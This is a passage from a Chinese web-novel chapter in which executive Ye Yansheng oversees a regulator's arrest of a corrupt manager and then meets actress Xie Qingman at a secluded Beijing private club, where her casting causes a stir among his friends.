现在的场面,只传递出一个信号:
有人要倒霉了。
13.表面衣冠
跟茶水间热闹的八卦气氛大相径庭,外面正严阵以待。
“小郑总,您这不地道啊,出了事儿也不给我提个醒儿。”
平时在企业里呼风唤雨的几个老总都没敢端架子,追在一郑东跃身后,叫苦不迭,“祖宗不会是来发难的吧?华南的基金也不归我们管,责任总不能平摊吧?”
“没掺和你着什么急?”郑东跃懒洋洋地打了个哈欠。
他斜了后者一眼,“少在我这儿试探,老子刚忙完从纽约飞回来,连个囫囵觉都没睡,你们不比我消息灵通?”
“话是这么说,就祖宗那脾气,”中年胖子讪笑了两声,“我怕我提前退休。”
由不得他们不小心,叶延生确实不是个好糊弄的主儿。
叶延生22岁之前的履历,详情不可查,外界只知道他在部队。
叶家明显对他寄予厚望,他在同辈里也算得上出类拔萃,但不知什么缘故,中途转业从商。
即便如此,他这几年的经历,也让人心惊:
宾大沃顿商学院提前毕业,国内【图灵序列】团队成员之一,国外在校期间成为红枫基金合伙人,短短三年时间,剥离势力,创建T&C。
创建初期遭到海外资本围剿报复,在对冲阶段,叶延生做局引西方寡头下水,利用规则和人脉,逆风反杀,他的手段和魄力初露端倪。
同一年,他对几家科技和传统项目投资,抢占了新兴赛道,眼光毒辣,出手果决。在纽交所、港交所和国内A股成功上市的公司,后续市资基本全部飙升,从未失手。
至此,叶家商业版块的势力,才开始向他倾斜。
今年7月腾出手来接管叶家产业,他一上位,就以雷霆手段肃清了总部。
叶家产业的董事长是旁系出身,今年已经退居二线,背后资源如何置换,旁系为何肯放权,外界众说纷纭,总之结果是——
表面上叶延生只是执行总裁,实际上有叶家默许,叶家商业版块的控制权、决策权和执行权尽数收拢。
期间不是没有高层想给他下马威,但他铁血手腕,面上虽然散漫,却也是个心脏的主儿。但凡他出手料理,就是狠的,掌权不过几个月,就拔掉了所有倒刺。
到底延续了部队的作风,雷霆手段。
只是这把火,现在怕是要烧到底下了。
“他想让你退休,用不着亲自到场。”
裴泽冷眼旁观了半天,忽然笑了笑,“再说提前退休也轮不到你做第一人。”
他下巴一抬,“我看那边的于总更紧张,你去跟他聊聊?”
被点到名的中年男人本就面如菜色,如今又黑了几分,“裴总,饭可以乱吃,话不能乱讲啊。”
粤城的事儿,按理说已经结了,对方也没交代出什么。
但裴泽、郑东跃这些人回总部,半点儿风声都没透出来,本以为是寻常例会,现在怎么看都像鸿门宴。
一行人各怀鬼胎,陆陆续续地进了会议室,微笑着寒暄。
大约隔了十分钟,会议室的玻璃门忽然被推开,涌动的热气迎面而来,和会议室内的冷气相撞。
交谈声戛然而止。
会议桌两侧的高层不管打着什么盘算,此刻都恭恭敬敬地站起身来。
叶延生面色冷淡,略微示意。
男人眉眼漆黑,气质冷而厉,断眉添了几分阴鸷桀骜。他周身肃冷的侵略感似乎实质化,把他和会议室里的一行人泾渭分明地切割开,让人望而生畏。
他身后浩浩荡荡跟了一行人,他落坐后,会议室其他人才陆续入座。
认出证监会的人,会议室内鸦雀无声。
真就是阎王点卯,点谁谁死。一直面如菜色的中年男人心凉了半截,瘫软在椅子上,辩解的话都没编好,就被带走调查了。
他心里门儿清,自个儿做过的事抖出来,够在监狱待到死了。
叶延生连一个眼神都欠奉,似乎没有多余的耐心耗在一个废人上。
-
虽然那晚说的是“明天见”,但彼此都忙,几乎碰不着面儿。
转眼到了腊月二十三,北方小年,民间也有“官三民四”的说法。
谢青缦自小在港城长大,她那儿更看重冬大过年,也就是冬至,没这个习俗。
不过帝都年味正浓,待久了,也会被年节的氛围感染。
下午刚签了合同,剧组还没官宣。
接下来要拍定妆照,还有个饭局,她就待在酒店——其实霍家在京城有豪宅,可在她名下的只有一处,够大,位置却着实有点偏,来回折腾太麻烦。
“早说啊,我都已经让人把附近那套房子清出来了,你直接去住嘛。”
向宝珠跟她通话时,语气有些不满,“上次在京城就同你讲过,你就是跟我见外。”
她这会儿正在巴塞罗那。
蒙特惠奇山山顶的米罗基金会美术馆,有一场即将开始的高级腕表发布会。
“你又不在,我自己住也没意思。”谢青缦泡在浴池里,慢悠悠地说。
“还说呢,这次你没来,我都是一个人。”向宝珠抱怨了句“无聊死了”,冷笑道,“你都不知道宴前酒会上,有个衰仔将……”
话还没说两句,通话就中断了。
谢青缦不明状况。
下意识想回拨,她却在微信弹窗时分了神,误点了叶延生的号码。
【信号不好,回聊。】
“喂?”
弹窗和通话几乎卡在同一时刻。
没来得及挂断,谢青缦甚至没反应过来,叶延生就接了,“怎么了?”
低缓的嗓音懒洋洋的,夹杂在一片嘈杂的声音里。
靠,这乌龙。
她手机差点掉水里。
“没事没事,我其实打——”谢青缦想解释说“打错了”,却听到了一道女声。
似乎在唱曲。
最后两个字堵在喉咙里,她愣是没说出口。
是一段清唱。
女声唱腔细腻,颇有南昆风度,桃花迷人眼,“怕催花信紧,风风雨雨,误了春光。匆匆忘却仙模样,春宵花月休成谎……”①
他那边很吵,烟声酒色,十分嘈杂。但人似乎离得很近,以至于她听得格外清晰。
“那谁?”
脱口而出的一句,谢青缦问完就意识到,不该多这一问。
她顿了一下,硬生生地转了话锋,“桃花扇?唱得还挺好听。”
“嗯?”叶延生不紧不慢地应了一声,而后不过一笑,嗓音低冷,十足的漫不经心,“没你好。”
什么好不好?
这话听着凉薄又轻佻,让人说不出的膈应。
谢青缦莫名梗了一口气,闷得难受,态度不由得冷淡下来,“我哪敢跟您身边的人比?不过是赶上您兴致好。”
话说得生硬,她语气也算不上好,“这么晚了,不耽误您的好事儿。”
挂断的动作干脆利落。
耳边陷入一片寂静,酒店套房内只她一人,这种寂静让人无声浮乱。
心底不受控制地生出一丝燥意,谢青缦闭着眼,往温水中沉了沉。
几秒之后,理性让她本能地清醒过来,她冒出水面,眸底一片清冽凌然:
反应过度了,其实她没这个立场。
但她也没打算找补,真心或是假意,她都不能由他当玩物似的摆弄衡量。难不成还要她听话顺从、低眉顺眼,随便他消遣?
【生什么气?】
她秒回:【手滑。】
【不是吃醋?】
“……”真成。
谢青缦不想接这话。
木质的香氛低调隐秘,但被暖气和水汽一烘,让人昏昏欲睡。她伸手扯了下浴巾,从水中起身。
【朋友带的人,跟我没关系。】
多新鲜呢,他还用得着跟她解释?
谢青缦擦拭着湿漉漉的长发,字还没打完,又弹出一条消息:
【不信你来查岗。】
……她查哪门子的岗?
删删改改半天,说辞都没酝酿好,谢青缦打算放弃这个无聊的话题。
然后她看到他直接甩过来一个定位。
-
叶延生今晚兴致并不高。
他身边这票人出来玩,花样不少,但见惯了也就那样,挺没意思。
要么是被家里老子三令五申,各种规矩束缚久了,急需一个宣泄口;要么是自以为万人之上,欲望得到满足后倦怠无聊,寻求更刺激变态的方式——
其实都一样,表面衣冠,内里禽兽,量仗着家世背景,为放纵找借口。
声色犬马处,醉里软红尘。
从进来开始,叶延生眼角眉梢都透着冷淡和不耐,几乎没人敢来触霉头。
只有薄文钦拿他打趣儿,“叶少真够可以的,平时三催四请不露面,好不容易攒个局,还迟到这么久?”
“怎么着,我还得罚酒三杯,全了你薄大少的脸面?”叶延生挑了下眉。
慵懒无谓的语调,隐有笑意,面色却未动,依旧是冷的。
足够低的姿态,却有种居高临下的轻蔑。
“少他妈寒碜我。”薄文钦轻笑。
不值一提的玩笑话而已。
这罚酒叶延生敢喝,也得有人敢接才行。
偏偏薄文钦身侧的女孩是个不会来事儿的,当了真,自作主张给叶延生添了酒。
薄文钦眯了下眼,狭长的眼尾微微上翘,像狐狸一样,似笑非笑,“表演专业就教出你这种没眼力劲儿的?”
算不得兴师问罪,但女孩在他身侧颤了下,怯生生地回说,“我学的是昆曲。”
谁问她这个?
正泡在牌桌上的裴泽听乐了,转过头,“您这是从哪儿钓的妞儿啊?”
薄文钦眸色淡了三分,显然是被败了兴,冷言解释了句,“这可不是我的人。”
哪知叶延生忽然问了一句,“昆曲?”
女孩微怔,点了点头。
她这会儿终于有点儿伶俐劲儿了,望向薄文钦——后者眼底有一闪而过的诧异,朝她抬了抬下巴。
得到授意,她才微微启唇,清唱了几句,“金粉未消亡,闻得六朝香,满天涯烟草断人肠……”①
功底是专业的,但人挺没劲儿的。
像精致却全无生气的牵线木偶,乖巧、听话,一颦一笑都贴合心意,了无生趣。
谢青缦身上就没有讨好感。
那双眼太活,可眸色是冷的,总是透着一股拒人于千里之外的距离感。
她是装出来的纯良,演出来的怯弱,其实骨子里难驯服,天生的清冷淡漠。
似乎只有在电梯里迷乱的那一刻,她才有那么一点真情实感。
叶延生越看越觉得没意思。
他根本没想让这人唱什么昆曲,他对昆曲也没那么热衷,他只是突然想起那天的谢青缦。
偏巧在此刻,手机振动起来,他在亮起的屏幕上看到了她的名字,“喂?”
-
谢青缦不知道这些,她只知道叶延生给的位置很隐蔽。
说“隐蔽”是因为,如果没人提前等在那,她能在胡同里绕半天。
京城衙内被家里人耳提面命久了,其实不会泡在太扎眼的地儿。
他们大多会去府右街、北池子和公主府附近,或者更隐秘的场所。
而长安街的俱乐部一类,在12年11月之后,就不再
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是衙内圈“主流”了。也是从那以后,很多俱乐部开放了入会条件,放低门槛,基本上背景看得过去,交足会费就有机会。对比过去,客人的阶层一再下移。
真有点背景的,行事作风大多低调。毕竟家里三令五申,在外面招摇,回家指定吃瓜落儿。
“谢小姐?”私人会所的台前老板见到她很是客气,满面笑意,“您跟我来。”
他说着,给身后人使了个眼色。
谢青缦缓步跟上,过了和玺彩画施琉璃瓦垂花门,不动声色地打量了眼。
和寻常四合院还不太一样,这个私人会所的主体是五进五出的院落,外面用胡同串联,将不同的小院落设计在外圈,取了很多不俗的名字,互不打扰,十分清净。
外面跟个迷宫似的,看上去平平无奇,内里造价比地价都贵——
一砖一瓦都是前朝遗迹,桌椅板凳全是古董,各种摆件皆为有价无市的拍卖品。
古香古色,闹中取静。
过了第二重院落,移步易景,玉竹落影,梅香暗浮,锦鲤从折桥下游过。
她看到了那道熟悉的身影,正立在亭下。
假山流水自成一画,有一种泼墨写意的雅致。
叶延生隐在淡淡的墨色里,像封入刀鞘的薄刃,收敛了一身野性和杀伐气。
见到她,画中人动了。
“这么久?”他低沉的嗓音有些轻佻。
“劳您挂心,”谢青缦凉凉地望着他,不高不低地回了句嘴,“您一句话,害我在路上耗了一个多小时。”
这话说的。
叶延生也不恼,黑漆漆的眸对上她的,很低地笑了声,“怪我,没早去接你。”
也不是纯粹堵车。
靠近年关,京城交通管制比往常严苛,好多地儿都是车辆禁停或者封闭路段。
没有通行证,就只能绕行。
谢青缦踩着12cm的高跟鞋,一路走过来,七弯八绕的,脾气都上来了。
一旁会所老板将人送到后,还没离开,无意听到这句,面颊不由得微微抽动:
谁能像她这样跟叶延生甩脸色的。
后者还一笑置之。
但例行规矩,该问的还得问。
他面上露出几分迟疑之色,试探性地问了句,“叶少,您看这通讯工具……”
“不用了。”叶延生淡淡的,握着谢青缦的手腕一带,“走吧。”
谢青缦怔了下,脑海中画面一闪。
刚刚穿过胡同时,停车区全是车牌上罩着黑布的车辆。
她心念一转,就想通了其中关节。
这地方还收手机啊?
-
同一时间,郑东跃进了题字“洗苍”的院落。他这一路气急败坏,人未到声先至。
“反了他了,反了他了!老子他妈投了那么多钱,难道还没个话语权了?”
“谁又惹你了?”
“就一拍电视剧的导演,居然也敢跟小爷我叫板。”
郑东跃快要被气炸了,“这老东西,简直是失心疯了,放着双料视后不用,非用一个新人!连声招呼不打,就把合同签了。”
他将文件往花几上一撂,上面印着海选信息和演员的个人资料。
旁边几个人好奇地凑过来,啧了一声:
“这妞儿可以啊,盘靓条顺。”
“还真是……”
“跃哥,别不服气,我看导演眼光比你强,论长相身段,这妞儿绝对能艳压了。”
裴泽本来懒得管这些闲事,闻言也瞥了一眼,一顿,忍不住又多看了两眼。
这不是港城那女的吗?
裴泽面色微微一凝。
“长得是挺有姿色,但他妈就算是天仙下凡,也不能耽误老子赚钱!”
公司项目并非都要他亲自经手,对比生物医药和AI赛道,往娱乐圈里投的钱,一般也就是洒洒水,他一般不上心。
但这部戏砸进去几个亿。
拿几个亿来捧新人,跟吃饱了撑的,扔钱打水飘有什么区别?
掉地上,好歹还能听个响儿呢。
郑东跃越想越气,暴跳如雷,“就不能给她安排个女二吗?老东西怕不是色迷心窍,跟这女的有一……”
“你说话放尊重点儿。”裴泽忽然出腔。
“老子还没雪藏她,够尊重了。”郑东跃没好气地反问,“你相好啊?这么护着。”
根本用不着他出手。
按目前网上的舆论环境,按内娱团队公关的手段和营销公司带节奏的本事——
剧组一官宣,外面就会沸反盈天。
先不说视后被涮下去了,路人观感会如何,二轮试镜还有个流量小花呢,她粉丝不敢撕前辈,还不敢撕新人吗?等多家混战,新人和剧都能直接抬走了。
“嘴巴放干净点儿,别扯上我。”裴泽冷冷地看着他,“她就算有什么,也只能跟你叶二哥有什么。”
“什么玩意儿?你丫今天吃枪药了吧?”郑东跃没反应过来,“这事儿又跟二哥有什么关系?他——”
话没说完,郑东跃突然哑火了。
金丝楠木的格扇门推开,叶延生和谢青缦一前一后进来,只隔了半步。
周遭陷入一种诡异的沉寂。
刚还看戏的一票人都哑巴了,面面相觑,心照不宣地互换了个眼神。
我靠。
郑东跃欲言又止止言又欲,表情堪称精彩,好半天,他才憋出一句话:
“这唱的是哪一出?”
“好问题。”裴泽看热闹不嫌事大,“要不你上去,把刚说的话重一遍,试试你叶二哥什么反应?”
他半开玩笑,“你刚说要雪藏谁来着?”